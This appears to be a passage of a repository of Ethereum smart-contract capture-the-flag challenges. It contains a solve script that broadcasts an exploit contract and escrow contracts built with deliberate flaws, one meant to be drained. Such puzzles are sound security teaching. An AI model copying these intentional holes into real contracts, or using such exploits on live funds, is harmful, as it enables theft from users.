├── .github └── workflows │ └── test.yml ├── .gitignore ├── .gitmodules ├── README.md ├── foundry.toml ├── script └── solve.s.sol ├── src ├── escrow │ ├── DualAssetEscrow.sol │ ├── EscrowFactory.sol │ ├── Setup.sol │ ├── interfaces │ │ ├── IEscrow.sol │ │ └── IEscrowFactory.sol │ └── lib │ │ ├── Clone.sol │ │ ├── ClonesWithImmutableArgs.sol │ │ ├── ERC721.sol │ │ ├── GREY.sol │ │ └── IERC20.sol ├── gnosis-unsafe │ ├── Safe.sol │ ├── Setup.sol │ ├── interfaces │ │ └── ISafe.sol │ └── lib │ │ └── GREY.sol ├── greyhats-dollar │ ├── GHD.sol │ ├── Setup.sol │ └── lib │ │ ├── FixedPointMathLib.sol │ │ ├── GREY.sol │ │ └── IERC20.sol ├── launchpad │ ├── Factory.sol │ ├── Setup.sol │ ├── Token.sol │ └── lib │ │ ├── GREY.sol │ │ ├── solmate │ │ ├── ERC20.sol │ │ ├── FixedPointMathLib.sol │ │ └── Owned.sol │ │ └── v2-core │ │ ├── UniswapV2ERC20.sol │ │ ├── UniswapV2Factory.sol │ │ ├── UniswapV2Pair.sol │ │ ├── interfaces │ │ ├── IERC20.sol │ │ ├── IUniswapV2Callee.sol │ │ ├── IUniswapV2ERC20.sol │ │ ├── IUniswapV2Factory.sol │ │ └── IUniswapV2Pair.sol │ │ └── libraries │ │ ├── Math.sol │ │ ├── SafeMath.sol │ │ └── UQ112x112.sol ├── meta-staking │ ├── Relayer.sol │ ├── Setup.sol │ ├── Staking.sol │ ├── Vault.sol │ ├── interfaces │ │ ├── IERC20.sol │ │ └── IFlashloanCallback.sol │ └── lib │ │ ├── Batch.sol │ │ ├── ERC20.sol │ │ ├── GREY.sol │ │ └── RelayReceiver.sol ├── rational │ ├── Setup.sol │ ├── Vault.sol │ └── lib │ │ ├── ERC20.sol │ │ ├── GREY.sol │ │ ├── IERC20.sol │ │ └── Rational.sol ├── simple-amm-vault │ ├── Setup.sol │ ├── SimpleAMM.sol │ ├── SimpleVault.sol │ ├── interfaces │ │ └── ISimpleCallbacks.sol │ └── lib │ │ ├── ERC20.sol │ │ ├── FixedPointMathLib.sol │ │ ├── GREY.sol │ │ └── IERC20.sol └── voting-vault │ ├── History.sol │ ├── Setup.sol │ ├── Treasury.sol │ ├── VotingVault.sol │ └── lib │ ├── GREY.sol │ └── IERC20.sol └── test ├── solutions ├── escrow.sol ├── gnosis-unsafe.sol ├── greyhats-dollar.sol ├── launchpad.sol ├── meta-staking.sol ├── rational.sol ├── simple-amm-vault.sol └── voting-vault.sol ├── solve.t.sol └── solve2.t.sol /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | broadcast/ 7 | 8 | # Docs 9 | docs/ 10 | 11 | # Dotenv file 12 | .env 13 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## EVM CTF Challenges 2 | 3 | Each challenge has its own folder in [`src/`](/src/): 4 | 5 | 1. [GreyHats Dollar](/src/greyhats-dollar/) 6 | 2. [Escrow](/src/escrow/) 7 | 3. [Simple AMM Vault](/src/simple-amm-vault/) 8 | 4. [Voting Vault](/src/voting-vault/) 9 | 5. [Meta Staking](/src/meta-staking/) 10 | 6. [Gnosis Unsafe](/src/gnosis-unsafe/) 11 | 7. [Rational](/src/rational/) 12 | 8. [Launchapd](/src/launchpad/) 13 | 14 | Solutions can be found in [`test/solutions/`](/test/solutions/). -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = "src" 3 | out = "out" 4 | libs = ["lib"] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 7 | -------------------------------------------------------------------------------- /script/solve.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Script, console2} from "forge-std/Script.sol"; 5 | import {Setup, Exploit} from "test/solutions/launchpad.sol"; 6 | 7 | contract Solution is Script { 8 | Setup setup = Setup(0x8338d816260f8DbC0b2a0Bc3d4E3B2354cD9Fbeb); 9 | 10 | function run() public { 11 | vm.startBroadcast(); 12 | 13 | Exploit e = new Exploit(setup); 14 | e.solve(); 15 | 16 | vm.stopBroadcast(); 17 | } 18 | } 19 | 20 | // forge script script/solve.s.sol:Solution --broadcast --rpc-url --private-key 21 | -------------------------------------------------------------------------------- /src/escrow/DualAssetEscrow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { Clone } from "./lib/Clone.sol"; 6 | import { IEscrow } from "./interfaces/IEscrow.sol"; 7 | import { IEscrowFactory } from "./interfaces/IEscrowFactory.sol"; 8 | 9 | contract DualAssetEscrow is IEscrow, Clone { 10 | error NotOwner(); 11 | 12 | error AlreadyInitialized(); 13 | 14 | error CalldataTooLong(); 15 | 16 | error InsufficientETH(); 17 | 18 | error ETHTransferFailed(); 19 | 20 | address public constant ETH_ADDRESS = address(0); 21 | 22 | bytes32 public constant IDENTIFIER = keccak256("ESCROW_SINGLE_ASSET"); 23 | 24 | uint256 public escrowId; 25 | 26 | mapping(address => uint256) public reserves; 27 | 28 | bool private initialized; 29 | 30 | /** 31 | * @notice Initialize the escrow. 32 | */ 33 | function initialize() external { 34 | if (initialized) revert AlreadyInitialized(); 35 | 36 | /* 37 | Revert if calldata size is too large, which signals `args` contains more data than expected. 38 | 39 | This is to prevent adding extra bytes to `args` that results in a different `paramsHash` 40 | in the factory. 41 | 42 | Expected length is 66: 43 | - 4 bytes for selector 44 | - 20 bytes for factory address 45 | - 20 bytes for tokenX address 46 | - 20 bytes for tokenY address 47 | - 2 bytes for CWIA length 48 | */ 49 | if (msg.data.length > 66) revert CalldataTooLong(); 50 | 51 | initialized = true; 52 | 53 | (address factory, address tokenX, address tokenY) = _getArgs(); 54 | escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY))); 55 | } 56 | 57 | // ========================================= MUTATIVE FUNCTIONS ======================================== 58 | 59 | /** 60 | * @notice Deposit tokenX or tokenY into the escrow. 61 | * 62 | * @param isTokenX Whether the asset to deposit is tokenX. 63 | * @param amount The amount of assets to deposit. 64 | */ 65 | function deposit(bool isTokenX, uint256 amount) external payable { 66 | if (msg.sender != owner()) revert NotOwner(); 67 | 68 | (, address tokenX, address tokenY) = _getArgs(); 69 | address token = isTokenX ? tokenX : tokenY; 70 | 71 | reserves[token] += amount; 72 | 73 | if (token == ETH_ADDRESS) { 74 | if (msg.value != amount) revert InsufficientETH(); 75 | } else { 76 | IERC20(token).transferFrom(msg.sender, address(this), amount); 77 | } 78 | } 79 | 80 | /** 81 | * @notice Withdraw tokenX or tokenY from the escrow. 82 | * 83 | * @param isTokenX Whether the asset to withdraw is tokenX. 84 | * @param amount The amount of assets to withdraw. 85 | */ 86 | function withdraw(bool isTokenX, uint256 amount) external { 87 | if (msg.sender != owner()) revert NotOwner(); 88 | 89 | (, address tokenX, address tokenY) = _getArgs(); 90 | address token = isTokenX ? tokenX : tokenY; 91 | 92 | reserves[token] -= amount; 93 | 94 | if (token == ETH_ADDRESS) { 95 | (bool success, ) = msg.sender.call{ value: amount }(""); 96 | if (!success) revert ETHTransferFailed(); 97 | } else { 98 | IERC20(token).transfer(msg.sender, amount); 99 | } 100 | } 101 | 102 | // ========================================= VIEW FUNCTIONS ======================================== 103 | 104 | /** 105 | * @notice The escrow owner, based on who holds the EscrowFactory NFT. 106 | */ 107 | function owner() public view returns (address) { 108 | (address factory, , ) = _getArgs(); 109 | return IEscrowFactory(factory).ownerOf(escrowId); 110 | } 111 | 112 | // ========================================= HELPERS ======================================== 113 | 114 | function _getArgs() internal pure returns (address factory, address tokenX, address tokenY) { 115 | factory = _getArgAddress(0); 116 | tokenX = _getArgAddress(20); 117 | tokenY = _getArgAddress(40); 118 | } 119 | } -------------------------------------------------------------------------------- /src/escrow/EscrowFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { ERC721 } from "./lib/ERC721.sol"; 5 | import { ClonesWithImmutableArgs } from "./lib/ClonesWithImmutableArgs.sol"; 6 | import { IEscrow } from "./interfaces/IEscrow.sol"; 7 | 8 | contract EscrowFactory is ERC721 { 9 | using ClonesWithImmutableArgs for address; 10 | 11 | error NotOwner(); 12 | 13 | error AlreadyDeployed(); 14 | 15 | address public immutable owner; 16 | 17 | address[] public escrowImpls; 18 | 19 | mapping(bytes32 => bool) public deployedParams; 20 | 21 | constructor() ERC721("EscrowFactory NFT", "EFT") { 22 | owner = msg.sender; 23 | } 24 | 25 | // ======================================= PERMISSIONED FUNCTIONS ====================================== 26 | 27 | /** 28 | * @notice Add an escrow implementation. Can only be called by the owner. 29 | * 30 | * @param impl The address of the implementation to add. 31 | */ 32 | function addImplementation(address impl) external { 33 | if (msg.sender != owner) revert NotOwner(); 34 | 35 | escrowImpls.push(impl); 36 | } 37 | 38 | // ========================================= MUTATIVE FUNCTIONS ======================================== 39 | 40 | /** 41 | * @notice Deploy an escrow. 42 | * 43 | * @param implId The index of the escrow implementation in the escrowImpls array. 44 | * @param args The immutable arguments to deploy the escrow with. 45 | */ 46 | function deployEscrow( 47 | uint256 implId, 48 | bytes memory args 49 | ) external returns (uint256 escrowId, address escrow) { 50 | // Get the hash of the (implId, args) pair 51 | bytes32 paramsHash = keccak256(abi.encodePacked(implId, args)); 52 | 53 | // If an escrow with the same (implId, args) pair exists, revert 54 | if (deployedParams[paramsHash]) revert AlreadyDeployed(); 55 | 56 | // Mark the (implId, args) pair as deployed 57 | deployedParams[paramsHash] = true; 58 | 59 | // Grab the implementation contract for the given implId 60 | address impl = escrowImpls[implId]; 61 | 62 | // Clone the implementation contract and initialize it with the given parameters. 63 | escrow = impl.clone(abi.encodePacked(address(this), args)); 64 | IEscrow(escrow).initialize(); 65 | 66 | // Get the ID for the deployed escrow 67 | escrowId = IEscrow(escrow).escrowId(); 68 | 69 | // Mint an ERC721 token to represent ownership of the escrow 70 | _mint(msg.sender, escrowId); 71 | } 72 | 73 | /** 74 | * @notice Permanently renounce ownership for an escrow. 75 | * 76 | * @param escrowId The ID of the escrow. 77 | */ 78 | function renounceOwnership(uint256 escrowId) external { 79 | if (msg.sender != ownerOf(escrowId)) revert NotOwner(); 80 | 81 | _burn(escrowId); 82 | } 83 | 84 | // ========================================= VIEW FUNCTIONS ======================================== 85 | 86 | /** 87 | * @notice Returns the Uniform Resource Identifier (URI) for `tokenId` token. 88 | */ 89 | function tokenURI(uint256) public pure override returns (string memory) { 90 | return ""; 91 | } 92 | } -------------------------------------------------------------------------------- /src/escrow/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { EscrowFactory } from "./EscrowFactory.sol"; 6 | import { DualAssetEscrow } from "./DualAssetEscrow.sol"; 7 | 8 | contract Setup { 9 | bool public claimed; 10 | 11 | // GREY token 12 | GREY public grey; 13 | 14 | // Challenge contracts 15 | EscrowFactory public factory; 16 | 17 | // Note: This is the address and ID of the escrow to drain 18 | address public escrow; 19 | uint256 public escrowId; 20 | 21 | constructor() { 22 | // Deploy the GREY token contract 23 | grey = new GREY(); 24 | 25 | // Deploy challenge contracts 26 | factory = new EscrowFactory(); 27 | 28 | // Mint 10,000 GREY for setup 29 | grey.mint(address(this), 10_000e18); 30 | 31 | // Add DualAssetEscrow implementation 32 | address impl = address(new DualAssetEscrow()); 33 | factory.addImplementation(impl); 34 | 35 | // Deploy a DualAssetEscrow 36 | (escrowId, escrow) = factory.deployEscrow( 37 | 0, // implId = 0 38 | abi.encodePacked(address(grey), address(0)) // tokenX = GREY, tokenY = ETH 39 | ); 40 | 41 | // Deposit 10,000 GREY into the escrow 42 | grey.approve(address(escrow), 10_000e18); 43 | DualAssetEscrow(escrow).deposit(true, 10_000e18); 44 | 45 | // Renounce ownership of the escrow 46 | factory.renounceOwnership(escrowId); 47 | } 48 | 49 | // Note: Call this function to claim 1000 GREY for the challenge 50 | function claim() external { 51 | require(!claimed, "already claimed"); 52 | claimed = true; 53 | 54 | grey.mint(msg.sender, 1000e18); 55 | } 56 | 57 | // Note: Challenge is solved when the escrow has been drained 58 | function isSolved() external view returns (bool) { 59 | return grey.balanceOf(address(escrow)) == 0 && grey.balanceOf(msg.sender) >= 10_000e18; 60 | } 61 | } -------------------------------------------------------------------------------- /src/escrow/interfaces/IEscrow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | interface IEscrow { 5 | function escrowId() external view returns (uint256); 6 | 7 | function initialize() external; 8 | } -------------------------------------------------------------------------------- /src/escrow/interfaces/IEscrowFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | interface IEscrowFactory { 5 | function ownerOf(uint256) external view returns (address); 6 | } -------------------------------------------------------------------------------- /src/escrow/lib/Clone.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD 2 | pragma solidity ^0.8.4; 3 | 4 | /// @title Clone 5 | /// @author zefram.eth, Saw-mon & Natalie 6 | /// @author https://github.com/Saw-mon-and-Natalie/clones-with-immutable-args 7 | /// @notice Provides helper functions for reading immutable args from calldata 8 | contract Clone { 9 | 10 | uint256 private constant ONE_WORD = 0x20; 11 | 12 | /// @notice Reads an immutable arg with type address 13 | /// @param argOffset The offset of the arg in the packed data 14 | /// @return arg The arg value 15 | function _getArgAddress(uint256 argOffset) 16 | internal 17 | pure 18 | returns (address arg) 19 | { 20 | uint256 offset = _getImmutableArgsOffset(); 21 | // solhint-disable-next-line no-inline-assembly 22 | assembly { 23 | arg := shr(0x60, calldataload(add(offset, argOffset))) 24 | } 25 | } 26 | 27 | /// @notice Reads an immutable arg with type uint256 28 | /// @param argOffset The offset of the arg in the packed data 29 | /// @return arg The arg value 30 | function _getArgUint256(uint256 argOffset) 31 | internal 32 | pure 33 | returns (uint256 arg) 34 | { 35 | uint256 offset = _getImmutableArgsOffset(); 36 | // solhint-disable-next-line no-inline-assembly 37 | assembly { 38 | arg := calldataload(add(offset, argOffset)) 39 | } 40 | } 41 | 42 | /// @notice Reads a uint256 array stored in the immutable args. 43 | /// @param argOffset The offset of the arg in the packed data 44 | /// @param arrLen Number of elements in the array 45 | /// @return arr The array 46 | function _getArgUint256Array(uint256 argOffset, uint64 arrLen) 47 | internal 48 | pure 49 | returns (uint256[] memory arr) 50 | { 51 | uint256 offset = _getImmutableArgsOffset() + argOffset; 52 | arr = new uint256[](arrLen); 53 | 54 | // solhint-disable-next-line no-inline-assembly 55 | assembly { 56 | calldatacopy( 57 | add(arr, ONE_WORD), 58 | offset, 59 | shl(5, arrLen) 60 | ) 61 | } 62 | } 63 | 64 | /// @notice Reads an immutable arg with type uint64 65 | /// @param argOffset The offset of the arg in the packed data 66 | /// @return arg The arg value 67 | function _getArgUint64(uint256 argOffset) 68 | internal 69 | pure 70 | returns (uint64 arg) 71 | { 72 | uint256 offset = _getImmutableArgsOffset(); 73 | // solhint-disable-next-line no-inline-assembly 74 | assembly { 75 | arg := shr(0xc0, calldataload(add(offset, argOffset))) 76 | } 77 | } 78 | 79 | /// @notice Reads an immutable arg with type uint8 80 | /// @param argOffset The offset of the arg in the packed data 81 | /// @return arg The arg value 82 | function _getArgUint8(uint256 argOffset) internal pure returns (uint8 arg) { 83 | uint256 offset = _getImmutableArgsOffset(); 84 | // solhint-disable-next-line no-inline-assembly 85 | assembly { 86 | arg := shr(0xf8, calldataload(add(offset, argOffset))) 87 | } 88 | } 89 | 90 | /// @return offset The offset of the packed immutable args in calldata 91 | function _getImmutableArgsOffset() internal pure returns (uint256 offset) { 92 | // solhint-disable-next-line no-inline-assembly 93 | assembly { 94 | offset := sub( 95 | calldatasize(), 96 | shr(0xf0, calldataload(sub(calldatasize(), 2))) 97 | ) 98 | } 99 | } 100 | } -------------------------------------------------------------------------------- /src/escrow/lib/ClonesWithImmutableArgs.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD 2 | 3 | pragma solidity ^0.8.4; 4 | 5 | /// @title ClonesWithImmutableArgs 6 | /// @author wighawag, zefram.eth, Saw-mon & Natalie 7 | /// @author https://github.com/Saw-mon-and-Natalie/clones-with-immutable-args 8 | /// @notice Enables creating clone contracts with immutable args 9 | library ClonesWithImmutableArgs { 10 | uint256 private constant FREE_MEMORY_POINTER_SLOT = 0x40; 11 | uint256 private constant BOOTSTRAP_LENGTH = 0x3f; 12 | uint256 private constant ONE_WORD = 0x20; 13 | uint256 private constant MAX_UINT256 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; 14 | bytes32 private constant CREATE_FAIL_ERROR = 0xebfef18800000000000000000000000000000000000000000000000000000000; 15 | 16 | /// @notice Creates a clone proxy of the implementation contract, with immutable args 17 | /// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length 18 | /// @param implementation The implementation contract to clone 19 | /// @param data Encoded immutable args 20 | /// @return instance The address of the created clone 21 | function clone(address implementation, bytes memory data) 22 | internal 23 | returns (address payable instance) 24 | { 25 | // unrealistic for memory ptr or data length to exceed 256 bits 26 | // solhint-disable-next-line no-inline-assembly 27 | assembly { 28 | let extraLength := add(mload(data), 2) // +2 bytes for telling how much data there is appended to the call 29 | let creationSize := add(extraLength, BOOTSTRAP_LENGTH) 30 | let runSize := sub(creationSize, 0x0a) 31 | 32 | // free memory pointer 33 | let ptr := mload(FREE_MEMORY_POINTER_SLOT) 34 | 35 | // ------------------------------------------------------------------------------------------------------------- 36 | // CREATION (10 bytes) 37 | // ------------------------------------------------------------------------------------------------------------- 38 | 39 | // 61 runtime | PUSH2 runtime (r) | r | – 40 | // 3d | RETURNDATASIZE | 0 r | – 41 | // 81 | DUP2 | r 0 r | – 42 | // 60 offset | PUSH1 offset (o) | o r 0 r | – 43 | // 3d | RETURNDATASIZE | 0 o r 0 r | – 44 | // 39 | CODECOPY | 0 r | [0 - runSize): runtime code 45 | // f3 | RETURN | | [0 - runSize): runtime code 46 | 47 | // ------------------------------------------------------------------------------------------------------------- 48 | // RUNTIME (53 bytes + extraLength) 49 | // ------------------------------------------------------------------------------------------------------------- 50 | 51 | // --- copy calldata to memmory --- 52 | // 36 | CALLDATASIZE | cds | – 53 | // 3d | RETURNDATASIZE | 0 cds | – 54 | // 3d | RETURNDATASIZE | 0 0 cds | – 55 | // 37 | CALLDATACOPY | | [0 - cds): calldata 56 | 57 | // --- keep some values in stack --- 58 | // 3d | RETURNDATASIZE | 0 | [0 - cds): calldata 59 | // 3d | RETURNDATASIZE | 0 0 | [0 - cds): calldata 60 | // 3d | RETURNDATASIZE | 0 0 0 | [0 - cds): calldata 61 | // 3d | RETURNDATASIZE | 0 0 0 0 | [0 - cds): calldata 62 | // 61 extra | PUSH2 extra (e) | e 0 0 0 0 | [0 - cds): calldata 63 | 64 | // --- copy extra data to memory --- 65 | // 80 | DUP1 | e e 0 0 0 0 | [0 - cds): calldata 66 | // 60 0x35 | PUSH1 0x35 | 0x35 e e 0 0 0 0 | [0 - cds): calldata 67 | // 36 | CALLDATASIZE | cds 0x35 e e 0 0 0 0 | [0 - cds): calldata 68 | // 39 | CODECOPY | e 0 0 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 69 | 70 | // --- delegate call to the implementation contract --- 71 | // 36 | CALLDATASIZE | cds e 0 0 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 72 | // 01 | ADD | cds+e 0 0 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 73 | // 3d | RETURNDATASIZE | 0 cds+e 0 0 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 74 | // 73 addr | PUSH20 addr | addr 0 cds+e 0 0 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 75 | // 5a | GAS | gas addr 0 cds+e 0 0 0 0| [0 - cds): calldata, [cds - cds + e): extraData 76 | // f4 | DELEGATECALL | success 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 77 | 78 | // --- copy return data to memory --- 79 | // 3d | RETURNDATASIZE | rds success 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 80 | // 3d | RETURNDATASIZE | rds rds success 0 0 | [0 - cds): calldata, [cds - cds + e): extraData 81 | // 93 | SWAP4 | 0 rds success 0 rds | [0 - cds): calldata, [cds - cds + e): extraData 82 | // 80 | DUP1 | 0 0 rds success 0 rds | [0 - cds): calldata, [cds - cds + e): extraData 83 | // 3e | RETURNDATACOPY | success 0 rds | [0 - rds): returndata, ... the rest might be dirty 84 | 85 | // 60 0x33 | PUSH1 0x33 | 0x33 success 0 rds | [0 - rds): returndata, ... the rest might be dirty 86 | // 57 | JUMPI | 0 rds | [0 - rds): returndata, ... the rest might be dirty 87 | 88 | // --- revert --- 89 | // fd | REVERT | | [0 - rds): returndata, ... the rest might be dirty 90 | 91 | // --- return --- 92 | // 5b | JUMPDEST | 0 rds | [0 - rds): returndata, ... the rest might be dirty 93 | // f3 | RETURN | | [0 - rds): returndata, ... the rest might be dirty 94 | 95 | mstore( 96 | ptr, 97 | or( 98 | hex"610000_3d_81_600a_3d_39_f3_36_3d_3d_37_3d_3d_3d_3d_610000_80_6035_36_39_36_01_3d_73", 99 | or( 100 | shl(0xe8, runSize), 101 | shl(0x58, extraLength) 102 | ) 103 | ) 104 | ) 105 | 106 | mstore( 107 | add(ptr, 0x1e), 108 | shl(0x60, implementation) 109 | ) 110 | 111 | mstore( 112 | add(ptr, 0x32), 113 | hex"5a_f4_3d_3d_93_80_3e_6033_57_fd_5b_f3" 114 | ) 115 | 116 | 117 | // ------------------------------------------------------------------------------------------------------------- 118 | // APPENDED DATA (Accessible from extcodecopy) 119 | // (but also send as appended data to the delegatecall) 120 | // ------------------------------------------------------------------------------------------------------------- 121 | 122 | let counter := mload(data) 123 | let copyPtr := add(ptr, BOOTSTRAP_LENGTH) 124 | let dataPtr := add(data, ONE_WORD) 125 | 126 | for {} true {} { 127 | if lt(counter, ONE_WORD) { 128 | break 129 | } 130 | 131 | mstore(copyPtr, mload(dataPtr)) 132 | 133 | copyPtr := add(copyPtr, ONE_WORD) 134 | dataPtr := add(dataPtr, ONE_WORD) 135 | 136 | counter := sub(counter, ONE_WORD) 137 | } 138 | 139 | let mask := shl( 140 | shl(3, sub(ONE_WORD, counter)), 141 | MAX_UINT256 142 | ) 143 | 144 | mstore(copyPtr, and(mload(dataPtr), mask)) 145 | copyPtr := add(copyPtr, counter) 146 | mstore(copyPtr, shl(0xf0, extraLength)) 147 | 148 | instance := create(0, ptr, creationSize) 149 | 150 | if iszero(instance) { 151 | // revert CreateFail() 152 | mstore(0, CREATE_FAIL_ERROR) 153 | revert(0, ONE_WORD) 154 | } 155 | 156 | // Update free memory pointer 157 | mstore(FREE_MEMORY_POINTER_SLOT, add(ptr, creationSize)) 158 | } 159 | } 160 | } -------------------------------------------------------------------------------- /src/escrow/lib/ERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Modern, minimalist, and gas efficient ERC-721 implementation. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC721.sol) 6 | abstract contract ERC721 { 7 | /*////////////////////////////////////////////////////////////// 8 | EVENTS 9 | //////////////////////////////////////////////////////////////*/ 10 | 11 | event Transfer(address indexed from, address indexed to, uint256 indexed id); 12 | 13 | event Approval(address indexed owner, address indexed spender, uint256 indexed id); 14 | 15 | event ApprovalForAll(address indexed owner, address indexed operator, bool approved); 16 | 17 | /*////////////////////////////////////////////////////////////// 18 | METADATA STORAGE/LOGIC 19 | //////////////////////////////////////////////////////////////*/ 20 | 21 | string public name; 22 | 23 | string public symbol; 24 | 25 | function tokenURI(uint256 id) public view virtual returns (string memory); 26 | 27 | /*////////////////////////////////////////////////////////////// 28 | ERC721 BALANCE/OWNER STORAGE 29 | //////////////////////////////////////////////////////////////*/ 30 | 31 | mapping(uint256 => address) internal _ownerOf; 32 | 33 | mapping(address => uint256) internal _balanceOf; 34 | 35 | function ownerOf(uint256 id) public view virtual returns (address owner) { 36 | require((owner = _ownerOf[id]) != address(0), "NOT_MINTED"); 37 | } 38 | 39 | function balanceOf(address owner) public view virtual returns (uint256) { 40 | require(owner != address(0), "ZERO_ADDRESS"); 41 | 42 | return _balanceOf[owner]; 43 | } 44 | 45 | /*////////////////////////////////////////////////////////////// 46 | ERC721 APPROVAL STORAGE 47 | //////////////////////////////////////////////////////////////*/ 48 | 49 | mapping(uint256 => address) public getApproved; 50 | 51 | mapping(address => mapping(address => bool)) public isApprovedForAll; 52 | 53 | /*////////////////////////////////////////////////////////////// 54 | CONSTRUCTOR 55 | //////////////////////////////////////////////////////////////*/ 56 | 57 | constructor(string memory _name, string memory _symbol) { 58 | name = _name; 59 | symbol = _symbol; 60 | } 61 | 62 | /*////////////////////////////////////////////////////////////// 63 | ERC721 LOGIC 64 | //////////////////////////////////////////////////////////////*/ 65 | 66 | function approve(address spender, uint256 id) public virtual { 67 | address owner = _ownerOf[id]; 68 | 69 | require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED"); 70 | 71 | getApproved[id] = spender; 72 | 73 | emit Approval(owner, spender, id); 74 | } 75 | 76 | function setApprovalForAll(address operator, bool approved) public virtual { 77 | isApprovedForAll[msg.sender][operator] = approved; 78 | 79 | emit ApprovalForAll(msg.sender, operator, approved); 80 | } 81 | 82 | function transferFrom( 83 | address from, 84 | address to, 85 | uint256 id 86 | ) public virtual { 87 | require(from == _ownerOf[id], "WRONG_FROM"); 88 | 89 | require(to != address(0), "INVALID_RECIPIENT"); 90 | 91 | require( 92 | msg.sender == from || isApprovedForAll[from][msg.sender] || msg.sender == getApproved[id], 93 | "NOT_AUTHORIZED" 94 | ); 95 | 96 | // Underflow of the sender's balance is impossible because we check for 97 | // ownership above and the recipient's balance can't realistically overflow. 98 | unchecked { 99 | _balanceOf[from]--; 100 | 101 | _balanceOf[to]++; 102 | } 103 | 104 | _ownerOf[id] = to; 105 | 106 | delete getApproved[id]; 107 | 108 | emit Transfer(from, to, id); 109 | } 110 | 111 | function safeTransferFrom( 112 | address from, 113 | address to, 114 | uint256 id 115 | ) public virtual { 116 | transferFrom(from, to, id); 117 | 118 | require( 119 | to.code.length == 0 || 120 | ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") == 121 | ERC721TokenReceiver.onERC721Received.selector, 122 | "UNSAFE_RECIPIENT" 123 | ); 124 | } 125 | 126 | function safeTransferFrom( 127 | address from, 128 | address to, 129 | uint256 id, 130 | bytes calldata data 131 | ) public virtual { 132 | transferFrom(from, to, id); 133 | 134 | require( 135 | to.code.length == 0 || 136 | ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) == 137 | ERC721TokenReceiver.onERC721Received.selector, 138 | "UNSAFE_RECIPIENT" 139 | ); 140 | } 141 | 142 | /*////////////////////////////////////////////////////////////// 143 | ERC165 LOGIC 144 | //////////////////////////////////////////////////////////////*/ 145 | 146 | function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { 147 | return 148 | interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 149 | interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 150 | interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata 151 | } 152 | 153 | /*////////////////////////////////////////////////////////////// 154 | INTERNAL MINT/BURN LOGIC 155 | //////////////////////////////////////////////////////////////*/ 156 | 157 | function _mint(address to, uint256 id) internal virtual { 158 | require(to != address(0), "INVALID_RECIPIENT"); 159 | 160 | require(_ownerOf[id] == address(0), "ALREADY_MINTED"); 161 | 162 | // Counter overflow is incredibly unrealistic. 163 | unchecked { 164 | _balanceOf[to]++; 165 | } 166 | 167 | _ownerOf[id] = to; 168 | 169 | emit Transfer(address(0), to, id); 170 | } 171 | 172 | function _burn(uint256 id) internal virtual { 173 | address owner = _ownerOf[id]; 174 | 175 | require(owner != address(0), "NOT_MINTED"); 176 | 177 | // Ownership check above ensures no underflow. 178 | unchecked { 179 | _balanceOf[owner]--; 180 | } 181 | 182 | delete _ownerOf[id]; 183 | 184 | delete getApproved[id]; 185 | 186 | emit Transfer(owner, address(0), id); 187 | } 188 | 189 | /*////////////////////////////////////////////////////////////// 190 | INTERNAL SAFE MINT LOGIC 191 | //////////////////////////////////////////////////////////////*/ 192 | 193 | function _safeMint(address to, uint256 id) 